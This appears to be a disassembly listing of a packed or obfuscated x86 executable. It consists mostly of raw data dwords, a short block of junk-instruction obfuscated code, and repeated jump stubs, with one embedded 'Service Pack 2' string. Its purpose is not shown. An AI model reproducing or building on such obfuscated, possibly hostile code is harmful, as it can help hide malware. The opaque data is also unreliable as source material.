		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 2DB5858Bh
		dd 858D0615h, 6188E90h,	888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah
		dd 6183F95h, 295DBD83h,	0F000615h, 0F84h, 6A6000h, 2E2195FFh
		dd 0E9610615h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h
		dd 895A04CDh, 183F9185h, 95B58B06h, 0C106183Fh,	896610CEh
		dd 0B58B0272h, 6183F95h, 0FC728966h, 91858B61h,	0C306183Fh
		dd 0E41958Dh, 95890615h, 615282Dh, 28499589h, 85FF0615h
		dd 6152849h, 9C585C6h, 68530615h, 0FCB148D8h, 1685B5FFh
		dd 858D0615h, 6153B38h,	8589D0FFh, 6152E21h, 3736858Dh
		dd 85890618h, 615248Dh,	20EBh, 7 dup(0)
		dd 6BE90000h, 0E9000005h, 55Fh,	1841E068h, 3DC0E906h, 9568FFFDh
		dd 0E9061842h, 0FFFD3DB6h, 18447368h, 3DACE906h, 0F468FFFDh
		dd 0E9061844h, 0FFFD3DA2h, 0CE959D5h, 53229217h, 24F161DCh
		dd 5C39A90Fh, 22F363C7h, 278B0685h, 0EE51DEB7h,	2C88977Eh
		dd 0E94AD9BCh, 232B9C79h, 9EB279A0h, 0B9830416h, 5D59C924h
		dd 0B3D66D6Fh, 3A1086F2h, 0FB228169h, 849086F2h, 9515A5B2h
		dd 4234A398h, 8BBEF1A8h, 17A81E1Eh, 1FA6h, 624F8200h, 494670E0h
		dd 0F2DA02A1h, 0E1951086h, 6816ADB1h, 0F1169F32h, 1C6F5520h
		dd 4B000000h, 86F297B6h, 80B05010h, 325907BEh, 99BE169Fh
		dd 57CFAE5Ch, 1C7C6EBBh, 24BE6A0Bh, 0A4C61C9h, 46327F6Fh
		dd 84C62D69h, 0D890860Dh, 0C2AFE757h, 30C7CF3Fh, 1A8D5689h
		dd 2687406Fh, 2CD7DFB6h, 3A63E2FCh, 0B99087FDh,	36B5AEE8h
		dd 312B2FC6h, 87FD4F92h, 6D1D2E90h, 7B437343h, 9D1050C8h
		dd 0A81B1D96h, 9690CF61h, 22143B0Ch, 90CF7AA3h,	218C0396h
		dd 11380BD1h, 0DC9690CFh, 9741FCBh, 8F1DBE5Bh, 65h, 0DB0BABABh
		dd 31FF4003h, 917E169Fh, 0F8D5C131h, 0DCD507D7h, 0C9C6F060h
		dd 10FA6ACAh, 6530A023h, 20FD6DCEh, 0B7D44934h,	54258DA7h
		dd 4000003h, 0C45B3AAAh, 1320F565h, 7CB342B2h, 3AE98CFCh
		dd 0EEAD48B8h, 108002BDh, 0D949AE85h, 1585E73Ch, 0E050B380h
		dd 299CC215h, 169EB3E0h, 0B5320A8Bh, 31Fh, 59C924D1h, 0BE855785h
		dd 1086F29Bh, 0ADF45162h, 501086F2h, 0BDE45F7Fh, 401086F2h
		dd 32917B6Fh, 1086F2EBh, 86F2CE8Fh, 0F26CB210h,	86AB1086h
		dd 0E7D6B424h, 1086F2A6h, 86F2034Ah, 0F2A6E710h, 7F3FD086h
		dd 0D66D6F4Fh, 0D086F2B3h, 0BB81693Ah, 0C03090A1h, 0B211F9D6h
		dd 0D69EE65Eh, 62C8CEDFh, 0F5506E9Eh, 0D08BF7B1h, 49FCE2h
		dd 0EBDCABF7h, 0BF9030DAh, 0BF83F0DEh, 7D05EFF1h, 29Fh
		dd 28CD3DB9h, 6F0676FBh, 40D545C0h, 781D8DF3h, 3ED747ABh
		dd 0B6F2269h, 0C225FA9Bh, 106CC352h, 0DD5ED5A0h, 0F3F886Dh
		dd 9EB06DB4h, 0AD8F1016h, 3C6D864Fh, 5C0844Ch, 0D0234A4h
		dd 68CB4822h, 724A600h,	9CB3C2FCh, 708F95C2h, 1A63832Eh
		dd 43279719h, 6F9F5FC9h, 6EDE624Fh, 610BBA7Ch, 169F08h
		dd 5CD9462Fh, 2D0272D0h, 0EA5ADB48h, 4A7A3EACh,	4927D174h
		dd 0C5D61087h, 4E489530h, 93C91CB6h, 0B64EE930h, 0CC8B941Ch
		dd 13015BF0h, 0B5DB8FA0h, 360DD101h, 1AAF1EB0h,	7EEE4C39h
		dd 0F44F8D51h, 2CE9EADh, 92B78E50h, 5902CE9Eh, 0B1836748h
		dd 2930380h, 64D45B58h,	7CAD5D32h, 2C878FFFh, 2CE9E91h
		dd 0A4BAEA8Eh, 0F821A4BAh, 8302CE9Eh, 920281B2h, 5E1BCDF8h
		dd 0C9DA04D7h, 4EEE7F5h, 0F52DA536h, 92F122C8h,	5FDC5322h
		dd 714CA7EFh, 0EE08E620h, 81441A4Ah, 0EFFE0F7h,	88A9B586h
		dd 45DABB2Bh, 5E4076E6h, 2F67D755h, 7009795Eh, 4822ADA4h
		dd 1848F8A2h, 7F461846h, 0EFFA95Ah, 774E1021h, 0EFFA952h
		dd 43620819h, 8E66985h,	89534354h, 55EA544Ch, 5B3462D2h
		dd 26DB7F7Ch, 15345944h, 0C72A3417h, 0F0525F57h, 6AF9680h
		dd 0ACF14D7h, 4D97746Eh, 0E1F6C862h, 0C3BAE533h, 118862FEh
		dd 193EAB9Eh, 0CC6BC3Ah, 0E2000000h, 870F97B6h,	175A10h
		dd 4F2E0000h, 4DFB6C86h, 0A3857F66h, 5CDDFAFCh,	0F8A34760h
		dd 108721D5h, 0DB0BAB14h, 58D8D903h, 39D1AEE8h,	9F32E08Ah
		dd 86B08116h, 7DF844F4h, 0FF34090Dh, 1B230C7Ch,	0A5069216h
		dd 0EE701A35h, 83BBAB57h, 370ED010h, 1CABBB12h,	7E22C8D9h
		dd 77BF2F91h, 0DCD4A986h, 7B1BF3Fh, 0C185EDh, 17970000h
		dd 0E061CEA7h, 2F8EA570h, 0E749D6BFh, 31919E77h, 347734C1h
		dd 0EC89F979h, 0B540B037h, 0E78EFE7Eh, 0AA4BBB38h, 4B8E3519h
		dd 32169EB6h, 0BAB8BB1h, 0CEC838BFh, 0B300DEF1h, 0E4D9DD4Dh
		dd 0EB953006h, 28169F32h, 892A3A2Fh, 0D4B6DE2Fh, 55E3D3E4h
		dd 6F6D71A1h, 11B3D66Dh, 693A169Eh, 1C362281h, 7E471083h
		dd 0E362CB4Ah, 1CAB06BEh, 0BB4B6C3Dh, 98654AE0h, 0B1BF7B9Ah
		dd 40CB274Dh, 18000000h, 0D8472E9Eh, 170CE959h,	0E04F2696h
		dd 0E25F060h, 42593CACh, 64D45649h, 0AD1DA291h,	69D95BC8h
		dd 0A414978Ch, 6DD806D1h, 169EB624h, 0B5F646C7h, 0Bh, 0E1624FD1h
		dd 53C34271h, 247585B7h, 475C5ACAh, 314274E4h, 3E3363D3h
		dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h
		dd 783C7AEAh, 555E68h, 24148900h, 5E08950h, 4, 42Dh, 24048700h
		dd 243C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 575B0D98h
		sub	ecx, 5142CCE7h
		mov	edi, ecx
		pop	ecx
		push	6DA3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	79D8h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, edx
		mov	[ebx], edi
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 8
		dd 1ED1BD76h, 0B8A51C86h, 6184559h, 0C88BC503h,	51E9h
		dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
		dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
		dd 158F0Fh, 0EA830000h,	0C428B28h, 2B144A8Bh, 89F82BC1h
		dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h,	0FFE9E9FFh
		dd 3EBAFFFFh, 0EB0009FDh, 63BE900h, 2FE90000h, 68000006h
		dd 6184727h, 0FD37F1E9h, 489668FFh, 0E7E90618h,	68FFFD37h
		dd 6184914h, 0FD37DDE9h, 49E568FFh, 0D3E90618h,	68FFFD37h
		dd 6184AF7h, 0FD37C9E9h, 0E050AEFFh, 2B9B1E15h,	0E858D54Ah
		dd 2292160Dh, 0EE5EDC53h, 0A81B9007h, 0E43BDA4Ah, 0AD821383h
		dd 0E936DF4Fh, 487B1A8Ah, 0B49ABF86h, 0A061169Eh, 0F297B69Ch
		dd 365B1086h, 0BA1086F2h, 1086F294h, 86F2335Ah,	0F297B710h
		dd 325B1086h, 0AB9086F2h, 4003DB0Bh, 969C1D54h,	0B7BFC29h
		dd 411D320Bh, 0B89C3A1Bh, 987C0D0Dh, 53C341F2h,	9F0F6DC2h
		dd 3D6D1197h, 111A3B21h, 86F674D5h, 353B9EB1h, 0C63E6655h
		dd 0D2BF9089h, 0E3340373h, 0D4C44243h, 74AB725Dh, 0E731C19Ch
		dd 4B765CDh, 0EB4B0000h, 24859A7Bh, 0F352E1B4h,	0BB3DF283h
		dd 0F575AA4Bh, 0F0BBF085h, 28CD3DBDh, 710474FBh, 43D242C2h
		dd 761F8FECh, 9FC2814Dh, 5E169EB5h, 0C7249F9Dh,	0F2BADF66h
		dd 70411086h, 0D3327F5Fh, 7D5A3363h, 0E530C97Dh, 6CAA4047h
		dd 869FC509h, 1E133B10h, 0AE152999h, 10869F6Bh,	2E690112h
		dd 0BB3E737Fh, 98724B4Bh, 0CDA8189Bh, 6A655481h, 0CD2F3888h
		dd 278FEC1Dh, 9C49F3AAh, 0E082787h, 0F0269615h,	856D6059h
		dd 0AE5CCC2Ch, 0E78EFE7Dh, 0A8D52FBAh, 3E6B597h, 0E9F30000h
		dd 8645375Ah, 56C62910h, 5BDAD9EAh, 241BFFEBh, 48B83BC7h
		dd 585E714Eh, 66906176h, 0B837291Bh, 0B0ABF3D2h, 0C8311086h
		dd 0D2F8DD15h, 88B1DB6Ah, 549F2730h, 0B51C2C1Eh, 67D754D5h
		dd 0AA19458Eh, 10865367h, 8293506h, 77FB38A8h, 0B8A96307h
		dd 0FA29CC3Ch, 27350979h, 0EA975B2Eh, 47FE3FA7h, 10860C02h
		dd 4571E15Ch, 23C7D848h, 0F83923E9h, 70990C7Ch,	0FB10860Ch
		dd 0AA5A402Ah, 0C97BA89h, 92ED1086h, 0E4F03173h, 0F3DCED53h
		dd 3EAE0D22h, 7F943720h, 12C5B333h, 42A5BE78h, 5F7E43D2h
		dd 9110863Ah, 0F278BE2Eh, 1E401E4Eh, 62A71E40h,	910863Ah
		dd 3A448D38h, 16271086h, 0C1A54974h, 5B48169Ch,	5E2F67D7h
		dd 0AF6BAC71h, 2F4B7D6h, 34882h, 0CC3CBA00h, 777FA29h
		dd 0D444C16Eh, 1E8EF241h, 0DA4AA877h, 742F5C3Bh, 40EF86F6h
		dd 79A64FBFh, 35EA8BFBh, 24AF46B6h, 0BA468B3Ah,	6425169Eh
		dd 57C724D8h, 0ABEE5587h, 521086F2h, 766BA941h,	0A09185F5h
		dd 84C6AF1Fh, 6192BA53h, 79116292h, 86AC434Ah, 5CE62710h
		dd 77F81087h, 69B40F07h, 0AA10869Ch, 0D0BA2A89h, 0D8E616EAh
		dd 9C69596Dh, 32CBDC16h, 0B7D70AEFh, 0CA028274h, 38000002h
		dd 78A74EBEh, 37EC89F9h, 80AF46B6h, 2E059000h, 0E2B95CCCh
		dd 474F6A9h, 0CD3DC271h, 979FB28h, 0C434B76Ch, 0DB8A631h
		dd 169EBBC4h, 2456E6A7h, 525F57C7h, 0F29581F1h,	50B314BBh
		dd 1DA015E0h, 0A397A81Ah, 248h,	0AB1B9899h, 44F8926Bh
		dd 72E2624Fh, 49F4B44h,	1086F2D9h, 583DAD0Fh, 0E5F969CBh
		dd 160070CCh, 0CEE35139h, 0FEE0FE6Eh, 86F20247h, 32D8E910h
		dd 0C0F14504h, 741BCF3Fh, 8EFE7E49h, 0CA7963E7h, 1086F287h
		dd 0F6B55566h, 97A81A73h, 2D9D1E13h, 62DD3Dh, 4FB90000h
		dd 296DDD62h, 3CFCB654h, 0AADC0B14h, 0AD82BC23h, 5B963291h
		dd 0EC45169Ch, 251A1C8Ch, 1B1B8BEEh, 47584822h,	0D7256DB6h
		dd 78FCFAB7h, 1F9h, 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h
		dd 0AE47B73Bh, 7BFFB2F9h, 32B56A0Bh, 80FC33C2h,	4DAE8510h
		dd 0BF8F38DDh, 9EBBDD04h, 5DDFA016h, 123F06C8h,	0E91086F2h
		dd 0C3F0DED8h, 0F6C7CF3Fh, 25951714h, 0F060E350h, 588834C6h
		dd 960666BDh, 3FAD8FC8h, 6812C53Ch, 5A7D6028h, 6C70A079h
		dd 8B851E0h, 0F796745Bh, 5B5BCB28h, 3380E146h, 0A0E95CCCh
		dd 4B108647h, 17C0557Ah, 47557C47h, 0EB181086h,	361989h
		dd 1C2292F3h, 0F8D6B13Bh, 6B1FE186h, 0CAEB9A20h, 862CD6FBh
		dd 0AB849510h, 87F7766Bh, 2C8AD3EEh, 93631086h,	0FCE85B63h
		dd 81169CC4h, 15B0AEB0h, 1690F4CCh, 0F453764Dh,	91A1690h
		dd 52E48697h, 8B78E061h, 68E622A2h, 6EC5507Fh, 0B19B9B0Bh
		dd 0D98054A4h, 76144591h, 0CFC737B5h, 0D1ED5DE2h, 17F363E0h
		dd 82022F1Dh, 140272F6h, 0B576143Bh, 5CCEC838h,	0F3526C9Ch
		dd 108D950Fh, 1D009DAEh, 0BEB1C128h, 0E73CB8h, 9B1B0000h
		dd 54D54A2Bh, 0A32211E4h, 6BCD6233h, 0A5051AFBh, 404B6035h
		dd 987DED4Dh, 0E1B4248Bh, 0F382F252h, 0A64FBF3Ch, 4F92311Dh
		dd 2E169EB8h, 8D4FCF6Dh, 86F293B6h, 0CB2D5A10h,	9596745Bh
		dd 0B9298A16h, 8FAF807Dh, 83B323A2h, 0F2E72A99h, 0B5861086h
		dd 0AB1B999Ah, 0DF5C55BFh, 0CE90276Fh, 1BC77089h, 0A2917B12h
		dd 0D5BCAE1Eh, 0FD5EDDEAh, 86B40346h, 3FBDEA10h, 0D9F6C7CFh
		dd 0F63B1FF6h, 27660474h, 97A85FC2h, 79E94F64h,	4F47B73Ah
		dd 19B08C7Eh, 0AE000000h, 0DABE73A9h, 0EA6DFBh,	0F296B61Ch
		dd 69CA1086h, 21981CF9h, 74000000h, 71E1624Fh, 0F2E32A99h
		dd 3E201086h, 86F24287h, 0A3202910h, 0E2174A99h, 28E981AEh
		dd 6EBA5BCBh, 12351299h, 73000000h, 0E1A7D862h,	0A125A686h
		dd 68E94439h, 9D7F6B44h, 5ACA249Dh, 74E4475Ch, 63D33142h
		dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h
		dd 7AEA4F64h, 7B68783Ch, 89000067h, 8950240Ch, 405E0h
		dd 42D0000h, 87000000h,	895C2404h, 3768243Ch, 8900003Eh
		dd 0BE56241Ch, 73857B2Dh, 3DA7F681h, 0F789759Dh, 8324348Bh
		dd 0EC8304C4h, 24248904h, 4240481h, 5B000000h, 89FE8956h
		dd 348B0873h, 4C48124h,	0FF000000h, 815B2434h, 4C4h, 243C8B00h
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 0FD31D9E9h, 5995BEFFh
		dd 0EFD354F7h, 75830B53h, 3B82710h, 306184Ch, 0E9D18BC5h
		dd 166h, 45E26F3h, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh
		dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
		dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
		dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h,	92A7ABDDh
		dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h,	0B6E592B6h
		dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
		dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
		dd 50AE29B0h, 54000000h, 58000000h, 2 dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 53000000h,	69767265h, 50206563h, 206B6361h
		dd 32h,	26h dup(0)
		dd 0A5E90000h, 6800001Fh, 6184FD7h, 0FD3049E9h,	50EB68FFh
		dd 3FE90618h, 68FFFD30h, 61851C3h, 0FD3035E9h, 529A68FFh
		dd 2BE90618h, 68FFFD30h, 61853AAh, 0FD3021E9h, 546A68FFh
		dd 17E90618h, 68FFFD30h, 6185542h, 0FD300DE9h, 561168FFh
		dd 3E90618h, 68FFFD30h,	6185A23h, 0FD2FF9E9h, 5A8C68FFh
		dd 0EFE90618h, 68FFFD2Fh, 6185BA6h, 0FD2FE5E9h,	5E8368FFh
		dd 0DBE90618h, 68FFFD2Fh, 618622Bh, 0FD2FD1E9h,	659668FFh
		dd 0C7E90618h, 68FFFD2Fh, 61866ACh, 0FD2FBDE9h,	671C68FFh
		dd 0B3E90618h, 68FFFD2Fh, 618676Ch, 0FD2FA9E9h,	67CE68FFh
		dd 9FE90618h, 68FFFD2Fh, 6186989h, 0FD2F95E9h, 6A8168FFh
		dd 8BE90618h, 68FFFD2Fh, 6186C46h, 0FD2F81E9h, 878F6FFh
		dd 0C333B66Dh, 1080FD32h, 0DA4AAE85h, 1686E43Bh, 3063287Fh
		dd 9C9362D2h, 55CAAB1Bh, 0A18E67D7h, 0F0E3B222h, 0BC3257EEh
		dd 38B9169Eh, 57C72404h, 81F1525Fh, 0C2F2C6F4h,	0FB1149FCh
		dd 0CBDC169Bh, 0FB2568CBh, 67D21693h, 276CD178h, 3EF49DBDh
		dd 0EA000000h, 0C838BFF4h, 93F3345Dh, 4E6B716h,	0DB0BAB10h
		dd 0F5F04003h, 0BC8D169Bh, 1B9F947Ah, 0F5766BABh, 93BC9185h
		dd 0F181CCF7h, 0C36E1693h, 5DDDD61Ch, 2B8EFDEDh, 0B19DBD1Dh
		dd 0ABh, 57C72485h, 64F0525Fh, 0A8B69909h, 0F2CA0FB6h
		dd 0E0B11086h, 94170C0Ah, 143BAB08h, 42B21122h,	45B5377Ch
		dd 0E5EBC6A5h, 0F71086F7h, 0C2710474h, 53E5D141h, 0D86B73A3h
		dd 169C0030h, 0A109ECBDh, 3291ADDDh, 108B8509h,	0EA471728h
		dd 11461888h, 0E34509C2h, 6B616473h, 0BEE3627Ch, 3D1CAAA6h
		dd 40EF7E6Ch, 6CCB52C2h, 6FB1C042h, 1D22FD85h, 7BFB0000h
		dd 34B56A0Bh, 830231C4h, 4BAD8213h, 85E53ADBh, 602B8015h
		dd 0B85DCD2Dh, 194046Bh, 9362D232h, 0C6AF1F9Ch,	2F72D1FDh
		dd 0CE169EBDh, 0C624EF4Dh, 1370BF56h, 0AB66D2A3h, 0AE03DB0Bh
		dd 2E30DA4Ah, 9BF59B97h, 0A591A216h, 93F1FF1Eh,	9E118816h
		dd 0BD1D3EABh, 6FD3E09Dh, 3D64DFFFh, 0C01693FDh, 0E91FFBEFh
		dd 0FB000000h, 6DDD624Fh, 75B65429h, 0A39086F6h, 0A28FAF1Fh
		dd 8885B121h, 496A34E2h, 35907AEAh, 1086F6AFh, 8ED3726Ch
		dd 6D1086F7h, 0FE7DAE5Ch, 17AEB08Eh, 1086F7F2h,	688FA879h
		dd 27DFF71Ch, 0AA7914F6h, 4BDDD949h, 0E0637BABh, 169C3D38h
		dd 0C9EAF4C5h, 8211F969h, 0BA388434h, 0D2574C4Ah, 5C624D62h
		dd 3462D257h, 6748B83Fh, 86ABB183h, 0A0109723h,	0D4B69976h
		dd 8BD529E9h, 43A7D410h, 0C5EAE3D3h, 3ABCDCF9h,	4C44E931h
		dd 6DC6989Eh, 5C09E0Eh,	1CAAB8DCh, 2FDC8E9Fh, 65BA5BCBh
		dd 9F089505h, 40B1C04Ch, 1C0ECE36h, 0AF0F0000h,	68C9563Fh
		dd 0A7061DF8h, 6FD15E37h, 0A90916FFh, 4C3F5C39h, 0F481F151h
		dd 0AD48B83Fh, 0EF86F676h, 0C253C340h, 53764D11h, 1A169EA2h
		dd 624FE359h, 9B9872E2h, 61CEA717h, 95A372E2h, 5F57C724h
		dd 8B89F152h, 2ADB22AFh, 6ADA595Ah, 511B045h, 421C4CECh
		dd 4E833B1Ch, 0C00B102Ah, 864ADC05h, 0A18E9F10h, 4376DAC9h
		dd 9C95169Bh, 0DCBCAE1Eh, 519033CBh, 26CB00A3h,	0EC762A52h
		dd 0B6E050B3h, 1712FED9h, 999AA48Bh, 9F70A616h,	0EADD04BFh
		dd 8FA0D222h, 528359DBh, 0D9F61ED7h, 0AB1AF0BDh, 0D43880E7h
		dd 3EAE0F24h, 336307F8h, 0F2C63462h, 5C49FCC2h,	1FDE25B3h
		dd 1127300Eh, 0BB219066h, 231026C4h, 0CE6530A0h, 0B120FD6Dh
		dd 32EF1E8Dh, 1B36C044h, 87E70000h, 50B17E17h, 9F1E15E0h
		dd 57D9462Fh, 0A1210EE7h, 44476431h, 9C79E949h,	0E5B02087h
		dd 977EEE4Eh, 0DABB2B88h, 3B5EE5E9h, 0C2169EA3h, 0C724FB41h
		dd 25D95F57h, 2A5AE9F5h, 49169C03h, 0D85E350Ch,	0B7530C52h
		dd 5E5F3607h, 0F3FFFF2h, 428C942Fh, 20F1108Eh, 5C85401Eh
		dd 1F1CAC31h, 0AB1A5C0Eh, 0D41293E9h, 3DAD0D26h, 100676F6h
		dd 91654B3Fh, 22E65D61h, 69C54029h, 0CA89D073h,	470BC977h
		dd 7E51E655h, 0F7C7D848h, 778D054Ch, 33D7E8C9h,	0F684B283h
		dd 794C1242h, 0CF6D520Ch, 0D54EFEDh, 0F0F08048h, 0BA8B2BDFh
		dd 21A4BAA4h, 0F08048F8h, 0A6169683h, 83B09F70h, 38F99101h
		dd 0A0AA4BBBh, 78BE2E93h, 0C526E387h, 0DC53C855h, 0A294DDE5h
		dd 1A5F22h, 0D040BE00h,	1B8BEE45h, 0D848A57Ah, 1282E63Dh
		dd 0DE4EAC83h, 782B6037h, 34EB8AFAh, 7DB243B3h,	39E68FFFh
		dd 18AB4ABAh, 0A04A8F36h, 0B031169Eh, 57C7248Ch, 0FD9E4E87h
		dd 0EDB6562Fh, 38D242A6h, 0A4CC6CFEh, 4BF5835h,	108697DDh
		dd 68A88FA0h, 0CC92BD83h, 0B424A192h, 0BEDD8D82h, 169C053Eh
		dd 0A607EEBFh, 36B9FABBh, 0CA6E24C6h, 1901C49Ah, 2108EDFh
		dd 9FB47CD5h, 1B9F2324h, 0BD926BABh, 46D8E9CDh,	739E3F18h
		dd 177860Dh, 29261080h,	0A2396406h, 23A105E0h, 0A81B2353h
		dd 0BE4F0AE0h, 4F92312Bh, 2EBE6EEAh, 78496D1Dh,	0C00CAC3Eh
		dd 0DFFFD040h, 83E672D2h, 84E3C13h, 7435483Dh, 10B3A9B8h
		dd 0A47BA1C9h, 9707E3B4h, 439FB886h, 3C1EE296h,	0FBFA1FA6h
		dd 0B081A47Bh, 33EDB89Fh, 99B41C40h, 40716BF1h,	696650C0h
		dd 0C3339081h, 0BD2F2832h, 69B01386h, 14A47B65h, 365A3403h
		dd 991A17F3h, 92C95429h, 241208EFh, 194FA0h, 70CE00h, 0CB3BBE75h
		dd 878F52Ah, 0C232B66Dh, 0E7EFC33h, 487B3067h, 849B7AEAh
		dd 4DE2B323h, 89967FEFh, 0E8DBBA2Ah, 0A13A5FE6h, 40C1169Eh
		dd 0F8864FFCh, 5E1CB953h, 0C526E387h, 0CC288955h, 0D1745A5Ch
		dd 1086AD88h, 0DD8DA273h, 0A9F5C92Fh, 0F7E0D646h, 0E92B6E8Ch
		dd 381738B6h, 0C079F26h, 516169Ch, 3BD65170h, 0D0734B7Bh
		dd 108EDB48h, 0C49A6435h, 989E0E6Fh, 9BD8C3A7h,	1C01E38Dh
		dd 0B3122C5Ch, 1FF0D7EFh, 0B323A18Eh, 71A58A83h, 37073707h
		dd 1DD8198Ch, 734B5C19h, 0D431BD3Eh, 725D3264h,	1EA5B7A3h
		dd 511C2FBh, 0FD82B182h, 0CF2CDD8Dh, 6631BE5Fh,	88AEA855h
		dd 188F2Ch, 0C0308E00h,	0B7BFE35h, 0C838B56Ah, 272F62Dh
		dd 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h,	49D6BF2Fh
		dd 289B7AEAh, 0A67A9F26h, 8001169Eh, 57C724BCh,	0D925D95Fh
		dd 47ABE858h, 5FE6F8D7h, 169BF79Bh, 7CA52022h, 721693F7h
		dd 0A4999D0Dh, 3A042BFCh, 0C0A7AF9h, 753C5733h,	74A4549Dh
		dd 0FE77DB6Ah, 9F94108Eh, 956AAC1Ch, 2EF0C1F5h,	65E6B797h
		dd 0E010B0A8h, 0FA367DEh, 794A896Fh, 0E864F3Dh,	7746AF9Fh
		dd 0B3832DDDh, 0F176BB83h, 7BB89581h, 51E387F7h, 94ABF3F2h
		dd 0ADB182B0h, 0D1B92984h, 5DC5268Bh, 2920488Dh, 63C7CCEAh
		dd 0D502DCF3h, 0D1C60027h, 0D3A248B8h, 0EC53DF5Ch, 3791B88Bh
		dd 4B5CBC9Bh, 5ACA2F64h, 0D111A875h, 0E4D211CEh, 17B760h
		dd 98086600h, 53C326FDh, 0A0106DC2h, 6ADA5ED5h,	0A616948Bh
		dd 0E0D3D8CFh, 0C23F262h, 0C55A3BABh, 111EF767h, 20B342B2h
		dd 0A742873Eh, 6829169Eh, 0E5864FD4h, 4501C460h, 0BE3DEE9Ch
		dd 0D07EC56h, 0EDC2053Bh, 6FCEE3A9h, 0D1A50BFFh, 18949DA1h
		dd 0C97CC2A8h, 169F2DD8h, 55E9AA3h, 72676BCFh, 0D330815Dh
		dd 0D88ED372h, 5C6D169Eh, 0A1FA273h, 0B169ED8h,	0C8573E6Eh
		dd 8C1AFB6Bh, 0A2E8C4ECh, 0FD04E64Dh, 73D20CD2h, 169EB22Eh
		dd 35D5B064h, 5CC45F69h, 0BF9D9F4Bh, 9EE3269Dh,	0B98A169Eh
		dd 53F7F2D1h, 99861087h, 0B787A818h, 0EE87F77Ah, 8E50C041h
		dd 8658C825h
		dd 0B64B9ABFh, 0BA50611Ch, 9404677Ch, 0BBDDEC09h, 0F9797BB1h
		dd 16E8h, 0AC49B935h, 0F382F277h, 0C451C13Ch, 0FC99096Fh
		dd 0C253C327h, 87EBA6E5h, 4EB17E17h, 8CE837DEh,	49AA791Ch
		dd 0C38B3CD9h, 9EA4D900h, 59E3A416h, 93B68D4Fh,	5A1086F2h
		dd 47F7A149h, 2A0575FBh, 0B8854314h, 553FD824h,	0A5249FB5h
		dd 0B8169F36h, 59DAD7E7h, 0A5044DF8h, 0D6E7169Eh, 0ED8E1CF9h
		dd 8B22A1BDh, 8A169EA5h, 0D6F67DB9h, 0A169EA5h,	11FB3BABh
		dd 9EA56FB2h, 0F63D0E16h, 76110575h, 3D5B903Fh,	0C46FACEFh
		dd 863199B6h, 1F87F257h, 940D9DC0h, 29000000h, 0DE0EABh
		dd 86F21045h, 0E4D2E310h, 86F23C61h, 61D13210h,	4BBB3C35h
		dd 2F137A4Bh, 0AFF0369Ah, 90537AE1h, 0A2507F3Ah, 78BE2E91h
		dd 45A8E387h, 0CB97A82Bh, 5Bh, 0B68D4FDFh, 1086F293h, 68DA515Ah
		dd 2D647601h, 0D513502h, 9A1303F4h, 0E889D5F0h,	0CD0A1086h
		dd 0F7CCC739h, 977716F8h, 0D30C3A16h, 741FDBFCh, 0A9F9108Eh
		dd 0DB27D7C1h, 0F4CAE555h, 0F868C9EAh, 0CABB312h, 4B68169Ch
		dd 0F1A580E8h, 5B97CA08h, 464D4274h, 239377E7h,	4FB58312h
		dd 0F293B68Dh, 2D5A1086h, 97735CCCh, 112D5D21h,	9BF6E2B2h
		dd 0BC829316h, 402FA99Bh, 63076EAEh, 6BCEE3A9h,	28C2BBFBh
		dd 7D1888EBh, 9D545A6h,	0DCDA4AA8h, 140D07E3h, 28B42E96h
		dd 8AE1F315h, 1BFD71A5h, 47239316h, 96A5D50h, 3DF41DA8h
		dd 0A6771693h, 5162EC89h, 0B99680F0h, 73E360D1h, 0DA585943h
		dd 661A806Ah, 21362836h, 0BFC65C27h, 0A914F6C0h, 1089DA09h
		dd 74E44734h, 0E2464D42h, 6BB85D72h, 6DC69808h,	0A39C9A0Ah
		dd 327F4DC7h, 1D1D66CEh, 61C2C49Ch, 9377484Eh, 97528228h
		dd 0A9149B84h, 112D9D1Eh, 0C45C6144h, 0F9914414h, 0B626859Ah
		dd 9D0D7380h, 0C4EB9A99h, 4E108003h, 0BB6CB510h, 3E0F94E7h
		dd 0E0878F5h, 0E53A5931h, 9A201686h, 1DA8B6E6h,	92FD403Dh
		dd 82C77E40h, 699AF093h, 7E51C13Ch, 0C49AC451h,	0C5622693h
		dd 8D385EFDh, 9AF09044h, 7D481627h, 9AF09054h, 0A7640617h
		dd 0D1E2D444h, 28B8FE6Eh, 3AB90EC1h, 0F5DA4AAEh, 40B01320h
		dd 2C4F8856h, 0A878BB03h, 29CDC3A7h, 0EE5EE5F9h, 6F9CEA55h
		dd 0CF33805Eh, 53E0AB5Fh, 2F9680F0h, 0B00D51EEh, 0DBA2594h
		dd 0C8573EAEh, 0A9BAFC6Ch, 0D005D949h, 0BC3858B1h, 62754A4Ch
